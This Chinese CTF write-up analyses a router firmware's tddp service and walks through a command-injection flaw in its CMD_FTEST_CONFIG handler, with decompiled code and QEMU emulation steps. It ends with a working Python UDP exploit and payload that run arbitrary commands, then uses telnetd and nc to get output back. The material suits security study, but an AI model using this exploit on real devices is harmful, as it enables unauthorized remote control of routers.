[关闭]
@H4l0 2019-08-01T17:32:17.000000Z 字数 9412 阅读 2023

由一道工控路由器固件逆向题目看命令执行漏洞

路由器 命令注入


前言

2019 工控安全比赛第一场的一道固件逆向的题目,好像也比较简单,好多人都做出来了。这里就分别从静态和动态调试分析复现一下这个命令执行的洞。

赛题说明

题目给的场景倒是挺真实的:路由器在处理 tddp 协议时出现了命令注入,导致了远程命令执行。就是后面做出来的这个答案的格式咋提交都不对...

image.png-95.6kB

题目给了一个压缩文件,解压出来时一个 bin 文件。

image.png-52.5kB

使用 binwalk -Me 直接解压,得到了与一个标准的 linux 风格的文件系统:

image.png-341.3kB

拿到文件系统之后,需要定位到相应的漏洞点,也就是在处理 tddp 协议的二进制文件中。

题目要求时找到 CMD_?_? 格式的消息类型,那么就使用 grep -rnl "CMD_." * 命令,再根据 tddp 协议定位到 usr/bin/tddp 这个文件,接着开始进行静态分析。

image.png-178.5kB

环境搭建

准备工具

这里尝试在 qemu 的用户模式下进行动态调试发现有问题,所以需要在系统模式下将固件跑起来,因此就要进行系统环境的搭建。

qemu arm 的环境:
https://pan.baidu.com/s/1rDvn8WkHAIB2cwTXih-gMw 提取码:xpnl

安装方法在那篇文章中已经说的很清楚了,就不重复造轮子了。

静态分析

将 ./usr/bin/tddp 加载到 IDA 中,搜索关键字符串,这些关键字都在同一个函数中,回溯可以找到漏洞的函数。

image.png-135.2kB

函数的代码比较长,所以中间省略了一部分,这个函数就是对通过运行在 1040 端口上的 tddp 协议接收到的数据进行解析,并执行相应的分支操作。(函数中使用了 switch case 来实现)

  1. int __fastcall CMD_handle(_BYTE *a1, _DWORD *a2)
  2. {
  3. uint32_t v2; // r0
  4. __int16 v3; // r2
  5. uint32_t v4; // r0
  6. __int16 v5; // r2
  7. _DWORD *v7; // [sp+0h] [bp-24h]
  8. _BYTE *v8; // [sp+4h] [bp-20h]
  9. _BYTE *v9; // [sp+Ch] [bp-18h]
  10. _BYTE *v10; // [sp+10h] [bp-14h]
  11. int v11; // [sp+1Ch] [bp-8h]
  12. v8 = a1;
  13. v7 = a2;
  14. v10 = a1 + 0xB01B;
  15. v9 = a1 + 0x52;
  16. a1[0x52] = 1;
  17. switch ( a1[0xB01C] )
  18. {
  19. case 4:
  20. printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", 103928, 697);
  21. v11 = sub_AC78(v8);
  22. break;
  23. case 6:
  24. printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MAC\n", 103928, 638);
  25. v11 = sub_9944(v8);
  26. break;
  27. case 7:
  28. printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TEST\n", 103928, 648);
  29. v11 = sub_ADDC(v8);
  30. if ( !v8 || !(*(v8 + 11) & 4) || !v8 || !(*(v8 + 11) & 8) || !v8 || !(*(v8 + 11) & 0x10) )
  31. *(v8 + 11) &= 0xFFFFFFFD;
  32. *(v8 + 8) = 0;
  33. *(v8 + 11) &= 0xFFFFFFFE;
  34. break;
  35. case 8:
  36. printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TEST\n", 103928, 702);
  37. *(v8 + 11) &= 0xFFFFFFFE;
  38. v11 = 0;
  39. break;
  40. case 0xA:
  41. printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_ID\n", 103928, 643);
  42. v11 = sub_9C24(v8);
  43. break;
  44. case 0xC:
  45. printf("[%s():%d] TDDPv1: receive CMD_SYS_INIT\n", 103928, 615);
  46. .....
  47. case 0xD:
  48. printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PIN\n", 103928, 682);
  49. v11 = sub_A97C(v8);
  50. break;
  51. case 0x30:
  52. printf("[%s():%d] TDDPv1: receive CMD_FTEST_USB\n", 103928, 687);
  53. v11 = sub_A3C8(v8);
  54. break;
  55. case 0x31:
  56. printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
  57. v11 = vuln(v8); // 漏洞点在此
  58. break;
  59. default:
  60. ....
  61. }
  62. *v7 = ntohl((v9[7] << 24) | (v9[6] << 16) | (v9[5] << 8) | v9[4]) + 12;
  63. return v11;
  64. }

漏洞点在处理 CMD_FTEST_CONFIG 所在的 0x31 这个分支,跟进一下。(这里传入的参数 v8 为通过 tddp 协议传进来的数据体指针)

vuln 函数

这里调用了 sscanf 函数对传进来的结构体进行解析之后,拼接到 run_exec 函数中进行命令执行。但是这里过滤不严(只判断了 ; 字符,没有过滤 & 和 | 符号),可以进行命令注入,导致拼接恶意代码后可以进行任意命令执行。

  1. int __fastcall vuln(int a1)
  2. {
  3. void *v1; // r0
  4. uint32_t v2; // r0
  5. _BYTE *v3; // r3
  6. __int16 v4; // r2
  7. _BYTE *v5; // r3
  8. int v6; // r0
  9. int v7; // r1
  10. int v10; // [sp+4h] [bp-E8h]
  11. char name; // [sp+8h] [bp-E4h]
  12. char v12; // [sp+48h] [bp-A4h]
  13. char s; // [sp+88h] [bp-64h]
  14. _BYTE *v14; // [sp+C8h] [bp-24h]
  15. _BYTE *v15; // [sp+CCh] [bp-20h]
  16. int v16; // [sp+D0h] [bp-1Ch]
  17. int v17; // [sp+D4h] [bp-18h]
  18. char *v18; // [sp+D8h] [bp-14h]
  19. int v19; // [sp+DCh] [bp-10h]
  20. unsigned int v20; // [sp+E0h] [bp-Ch]
  21. char *v21; // [sp+E4h] [bp-8h]
  22. v10 = a1;
  23. v20 = 1;
  24. v19 = 4;
  25. memset(&s, 0, 0x40u);
  26. memset(&v12, 0, 0x40u);
  27. v1 = memset(&name, 0, 0x40u);
  28. v18 = 0;
  29. v17 = luaL_newstate(v1);
  30. v21 = (v10 + 0xB01B);
  31. v16 = v10 + 82;
  32. v15 = (v10 + 0xB01B);
  33. v14 = (v10 + 82);
  34. *(v10 + 83) = 49;
  35. v2 = htonl(0);
  36. v3 = v14;
  37. v14[4] = v2;
  38. v3[5] = BYTE1(v2);
  39. v3[6] = BYTE2(v2);
  40. v3[7] = HIBYTE(v2);
  41. v14[2] = 2;
  42. v4 = (v15[9] << 8) | v15[8];
  43. v5 = v14;
  44. v14[8] = v15[8];
  45. v5[9] = HIBYTE(v4);
  46. if ( *v15 == 1 )
  47. {
  48. v21 += 12;
  49. v16 += 12;
  50. }
  51. else
  52. {
  53. v21 += 28;
  54. v16 += 28;
  55. }
  56. if ( !v21 )
  57. goto LABEL_20;
  58. sscanf(v21, "%[^;];%s", &s, &v12); // %[^;|&|\|]
  59. if ( !s || !v12 )
  60. {
  61. printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
  62. LABEL_20:
  63. v14[3] = 3;
  64. return error(-10303, 94892);
  65. }
  66. v18 = inet_ntoa(*(v10 + 4));
  67. run_exec("cd /tmp;tftp -gr %s %s &", &s, v18); // 漏洞点
  68. sprintf(&name, "/tmp/%s", &s);
  69. while ( v19 > 0 )
  70. {
  71. sleep(1u);
  72. if ( !access(&name, 0) )
  73. break;
  74. --v19;
  75. }
  76. if ( !v19 )
  77. {
  78. printf("[%s():%d] lua file [%s] don't exsit.\n", 98236, 574, &name);
  79. goto LABEL_20;
  80. }
  81. if ( v17 )
  82. {
  83. luaL_openlibs(v17);
  84. if ( !luaL_loadfile(v17, &name) )
  85. lua_pcall(v17, 0, -1, 0);
  86. lua_getfield(v17, -10002, 94880);
  87. lua_pushstring(v17, &v12);
  88. lua_pushstring(v17, v18);
  89. lua_call(v17, 2, 1);
  90. v6 = lua_tonumber(v17, -1);
  91. v20 = sub_16EC4(v6, v7);
  92. lua_settop(v17, -2);
  93. }
  94. lua_close(v17);
  95. if ( v20 )
  96. goto LABEL_20;
  97. v14[3] = 0;
  98. return 0;
  99. }

run_exec 函数

这里直接调用了 execve 函数进行命令执行。

  1. signed int run_exec(const char *a1, ...)
  2. {
  3. char *argv; // [sp+8h] [bp-11Ch]
  4. int v4; // [sp+Ch] [bp-118h]
  5. char *v5; // [sp+10h] [bp-114h]
  6. int v6; // [sp+14h] [bp-110h]
  7. int stat_loc; // [sp+18h] [bp-10Ch]
  8. char s; // [sp+1Ch] [bp-108h]
  9. __pid_t pid; // [sp+11Ch] [bp-8h]
  10. const char *varg_r0; // [sp+128h] [bp+4h]
  11. va_list varg_r1; // [sp+12Ch] [bp+8h]
  12. va_start(varg_r1, a1);
  13. varg_r0 = a1;
  14. pid = 0;
  15. stat_loc = 0;
  16. argv = 0;
  17. v4 = 0;
  18. v5 = 0;
  19. v6 = 0;
  20. vsprintf(&s, a1, varg_r1);
  21. printf("[%s():%d] cmd: %s \r\n", 94112, 72, &s);
  22. pid = fork();
  23. if ( pid < 0 )
  24. return -1;
  25. if ( !pid )
  26. {
  27. argv = "sh";
  28. v4 = 0x16F4C;
  29. v5 = &s;
  30. v6 = 0;
  31. execve("/bin/sh", &argv, 0);
  32. exit(127);
  33. }
  34. while ( waitpid(pid, &stat_loc, 0) == -1 )
  35. {
  36. if ( *_errno_location() != 4 )
  37. return -1;
  38. }
  39. return 0;
  40. }

根据函数的调用链交叉引用,回溯分析传进来 CMD_handle 函数的参数。

调用链分析

image.png-34.8kB

在 函数名称处按下 X 键,定位到 data_handle 函数。函数中有一个 recvfrom 函数用来接收 socket 数据,存放到 v16+0xB01B 地址中,之后将 v16 传入 CMD_handle 函数。

  1. int __fastcall data_handle(int a1)
  2. {
  3. int v1; // r3
  4. int v2; // r3
  5. int v3; // r0
  6. uint32_t v4; // r0
  7. _BYTE *v5; // r3
  8. __int16 v6; // r2
  9. _BYTE *v7; // r3
  10. int v8; // r0
  11. uint32_t v9; // r0
  12. _BYTE *v10; // r3
  13. __int16 v11; // r2
  14. _BYTE *v12; // r3
  15. _BYTE *v13; // r3
  16. int v14; // r3
  17. int v16; // [sp+Ch] [bp-30h]
  18. size_t n; // [sp+10h] [bp-2Ch]
  19. socklen_t addr_len; // [sp+14h] [bp-28h]
  20. struct sockaddr addr; // [sp+18h] [bp-24h]
  21. ssize_t v20; // [sp+28h] [bp-14h]
  22. _BYTE *v21; // [sp+2Ch] [bp-10h]
  23. unsigned __int8 *v22; // [sp+30h] [bp-Ch]
  24. int v23; // [sp+34h] [bp-8h]
  25. v16 = a1;
  26. v23 = 0;
  27. addr_len = 16;
  28. n = 0;
  29. memset((a1 + 0xB01B), 0, 0xAFC9u);
  30. memset((v16 + 0x52), 0, 0xAFC9u);
  31. v22 = (v16 + 0xB01B);
  32. v21 = (v16 + 0x52);
  33. v20 = recvfrom(*(v16 + 36), (v16 + 0xB01B), 0xAFC8u, 0, &addr, &addr_len);// 第二个参数就是 buf 的位置
  34. if ( v20 < 0 )
  35. return sub_13018(-10106, 103880);
  36. sub_15458(v16);
  37. *(v16 + 44) |= 1u;
  38. v2 = *v22;
  39. if ( v2 == 1 )
  40. {
  41. v8 = sub_15AD8(v16, &addr);
  42. if ( v8 )
  43. {
  44. *(v16 + 52) = sub_9340(v8);
  45. v23 = CMD_handle(v16, &n); // 这里调用了命令处理的函数
  46. }
  47. else
  48. {
  49. v23 = -10301;
  50. *v21 = 1;
  51. v21[1] = v22[1];
  52. v21[2] = 2;
  53. v21[3] = 8;
  54. v9 = htonl(0);
  55. v10 = v21;
  56. v21[4] = v9;
  57. v10[5] = BYTE1(v9);
  58. v10[6] = BYTE2(v9);
  59. v10[7] = HIBYTE(v9);
  60. v11 = (v22[9] << 8) | v22[8];
  61. v12 = v21;
  62. v21[8] = v22[8];
  63. v12[9] = HIBYTE(v11);
  64. }
  65. }
  66. else if ( v2 == 2 )
  67. {
  68. v3 = sub_15AD8(v16, &addr);
  69. if ( v3 )
  70. {
  71. *(v16 + 52) = sub_9340(v3);
  72. v23 = sub_15BB8(v16, &n);
  73. }
  74. else
  75. {
  76. v23 = -10301;
  77. *v21 = 2;
  78. v21[1] = v22[1];
  79. v21[2] = 2;
  80. v21[3] = 8;
  81. v4 = htonl(0);
  82. v5 = v21;
  83. v21[4] = v4;
  84. v5[5] = BYTE1(v4);
  85. v5[6] = BYTE2(v4);
  86. v5[7] = HIBYTE(v4);
  87. v6 = (v22[9] << 8) | v22[8];
  88. v7 = v21;
  89. v21[8] = v22[8];
  90. v7[9] = HIBYTE(v6);
  91. sub_15830(v16, &n);
  92. }
  93. }
  94. else
  95. {
  96. v21[3] = 7;
  97. v13 = v21;
  98. v21[4] = 0;
  99. v13[5] = 0;
  100. v13[6] = 0;
  101. v13[7] = 0;
  102. n = ((v21[7] << 24) | (v21[6] << 16) | (v21[5] << 8) | v21[4]) + 12;
  103. }
  104. if ( v16 )
  105. v14 = *(v16 + 44) & 1;
  106. else
  107. v14 = 0;
  108. if ( v14 && sendto(*(v16 + 36), (v16 + 82), n, 0, &addr, 0x10u) == -1 )
  109. v1 = sub_13018(-10105, 103896);
  110. else
  111. v1 = v23;
  112. return v1;
  113. }

再往回分析就是对堆空间的一个结构体进行初始化的操作:

  1. int sub_936C()
  2. {
  3. #37 *v0; // r4
  4. int optval; // [sp+Ch] [bp-B0h]
  5. int v3; // [sp+10h] [bp-ACh]
  6. struct timeval timeout; // [sp+14h] [bp-A8h]
  7. fd_set readfds; // [sp+1Ch] [bp-A0h]
  8. #37 *heap_space; // [sp+9Ch] [bp-20h]
  9. int v7; // [sp+A0h] [bp-1Ch]
  10. int nfds; // [sp+A4h] [bp-18h]
  11. fd_set *v9; // [sp+A8h] [bp-14h]
  12. unsigned int i; // [sp+ACh] [bp-10h]
  13. char v11[12]; // [sp+B0h] [bp-Ch]
  14. heap_space = 0;
  15. v3 = 1;
  16. optval = 1;
  17. printf("[%s():%d] tddp task start\n", 94096, 0x97);
  18. if ( !sub_16ACC(&heap_space)
  19. && !socket_new(heap_space + 9)
  20. && !setsockopt(*(heap_space + 9), 1, 2, &optval, 4u)
  21. && !bind_port(*(heap_space + 9), 1040u)
  22. && !setsockopt(*(heap_space + 9), 1, 6, &v3, 4u) )
  23. {
  24. ....
  25. while ( 1 )
  26. {
  27. do
  28. {
  29. ...
  30. }
  31. while ( v7 == -1 );
  32. if ( !v7 )
  33. break;
  34. if ( (*&v11[4 * (*(heap_space + 9) >> 5) - 148] >> (*(heap_space + 9) & 0x1F)) & 1 )
  35. data_handle(heap_space); // 函数调用
  36. }
  37. }
  38. sub_16E0C(*(heap_space + 9));
  39. sub_16C18(heap_space);
  40. return printf("[%s():%d] tddp task exit\n", 94096, 219);
  41. }
  42. // sub_16ACC 函数为初始化过程:
  43. nt __fastcall sub_16ACC(_DWORD *a1)
  44. {
  45. _DWORD *v3; // [sp+4h] [bp-10h]
  46. _DWORD *s; // [sp+8h] [bp-Ch]
  47. int v5; // [sp+Ch] [bp-8h]
  48. v3 = a1;
  49. if ( !a1 )
  50. return error(-10202, 104096);
  51. s = calloc(1u, 0x15FE4u);
  52. if ( !s )
  53. return error(-10202, 104112);
  54. v5 = sub_16878(s);
  55. if ( v5 )
  56. return v5;
  57. memset(s + 0xE, 0, 9u);
  58. memset(s + 0x52, 0, 0xAFC9u);
  59. memset(s + 0xB01B, 0, 0xAFC9u);
  60. memset(s + 0x41, 0, 0x11u);
  61. memset(s, 0, 0x28u);
  62. s[9] = -1;
  63. s[8] = 0;
  64. *v3 = s;
  65. return 0;
  66. }

根据堆内存的初始化过程,可以对结构体空间进行表示:

image.png-31.5kB

题目中问到:第几个字节为多少时,会触命令执行漏洞?

根据 CMD_handle 函数的判断:

接收数据的存储开始位置是在 0xB01B,这里 switch 判断的是 0XB01C 位置,所以相对偏移就是 1,也就是第二个位置。

  1. v8 = a1;
  2. v7 = a2;
  3. v10 = a1 + 0xB01B;
  4. v9 = a1 + 0x52;
  5. a1[0x52] = 1;
  6. switch ( a1[0xB01C] )
  7. ...
  8. case 0x31:
  9. printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
  10. v11 = vuln(v8);

那么这里的答案应该是:CMD_FTEST_CONFIG+0x1+0x31,但是比赛时怎么提交都是错的...

动态调试

这里用 qemu 仿真的方法将固件跑起来,来尝试通过命令注入拿到他的shell。

按照文章的方法,配置好虚拟网卡之后,运行下面的命令将固件模拟起来:

  1. qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

挂载目录,切换根目录:

  1. mount -o bind /dev ./squashfs-root/dev/
  2. mount -t proc /proc/ ./squashfs-root/proc/
  3. chroot squashfs-root sh

启动服务

直接运行 tddp 命令启动 tddp 服务,使用 nmap 的 UDP 扫描端口是开放的。

image.png-58.5kB

EXP 的编写

首先在发送的数据中,前两个字节必须为 \\0x1\\0x31,中间需要填充 10 个字节,原因是这里的 v21 指针会后移 12 位,因此中间需要填充。

image.png-35.5kB

接着就是注入需要的代码:

  1. payload = '\x01\x31'.ljust(12,'\x00')
  2. payload+= "123|%s&&echo ;123"%(command)
  1. sscanf(v21, "%[^;];%s", &s, &v12); // %[^;|&|\|]
  2. if ( !s || !v12 )
  3. {
  4. printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
  5. LABEL_20:
  6. v14[3] = 3;
  7. return error(-10303, 94892);
  8. }

接着使用 UDP 的 socket 的接口进行发送即可:

最后的 exp 如下:

  1. from pwn import *
  2. from socket import *
  3. import sys
  4. tddp_port = 1040
  5. recv_port = 12345
  6. ip = sys.argv[1]
  7. command = sys.argv[2]
  8. s_send = socket(AF_INET,SOCK_DGRAM,0)
  9. s_recv = socket(AF_INET,SOCK_DGRAM,0)
  10. s_recv.bind(('',12345))
  11. payload = '\x01\x31'.ljust(12,'\x00')
  12. payload+= "123|%s&&echo ;123"%(command)
  13. s_send.sendto(payload,(ip,tddp_port))
  14. s_send.close()
  15. res,addr = s_recv.recvfrom(1024)
  16. print res

执行一个 uname 看看:

image.png-97.3kB

开启 telnetd 服务:

image.png-169.7kB

好吧,这里确实已经连接上了,但是这里远程没有用于 telnet 服务的终端,刚好固件又带了 nc,那就使用 nc 来弹一个 shell 吧。

发现 nc 不带弹 shell 的功能。。那只能将命令的内容正向连接来输出了。

image.png-16.6kB

如图,在本地监听一个端口,命令执行的结果就会通过 nc 显示在本地。
image.png-138.1kB

至此漏洞复现完毕。

当然注入一个合法的 lua 脚本,让程序去访问之后执行命令也是可以的,参考文章中用的就是这种方法。

总结

这个命令执行漏洞拿来练手还是不错的,学到了不少东西。

参考文章

https://paper.seebug.org/879
https://segmentfault.com/a/1190000018351915

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注